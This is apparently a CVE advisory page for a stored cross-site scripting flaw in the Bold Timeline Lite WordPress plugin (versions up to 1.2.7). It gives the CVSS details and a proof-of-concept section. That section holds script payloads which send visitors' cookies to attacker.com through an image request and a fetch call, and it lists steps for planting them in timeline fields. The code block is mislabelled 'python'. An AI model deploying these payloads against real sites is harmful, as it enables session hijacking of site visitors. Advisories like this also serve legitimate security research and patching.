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CVE-2025-68513 CVSS 6.5 MEDIUM

CVE-2025-68513

Published: 2025-12-24 13:16:21
Last Modified: 2026-04-27 19:16:27

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in boldthemes Bold Timeline Lite bold-timeline-lite allows Stored XSS.This issue affects Bold Timeline Lite: from n/a through <= 1.2.7.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Bold Timeline Lite <= 1.2.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-68513 PoC: Bold Timeline Lite Stored XSS --> <!-- Inject this payload in timeline title or description fields --> <script>alert(document.cookie)</script> <!-- More sophisticated payload for session hijacking --> <script> var img = new Image(); img.src = 'https://attacker.com/steal?c=' + document.cookie; </script> <!-- XSS via event handlers --> <img src=x onerror='fetch("https://attacker.com/log?data="+document.cookie)'> <!-- Steps to exploit --> 1. Navigate to WordPress admin panel 2. Go to Bold Timeline Lite settings 3. Create/edit a timeline entry 4. Insert XSS payload in title or description field 5. Save the timeline 6. When any user views the timeline page, XSS will execute

References

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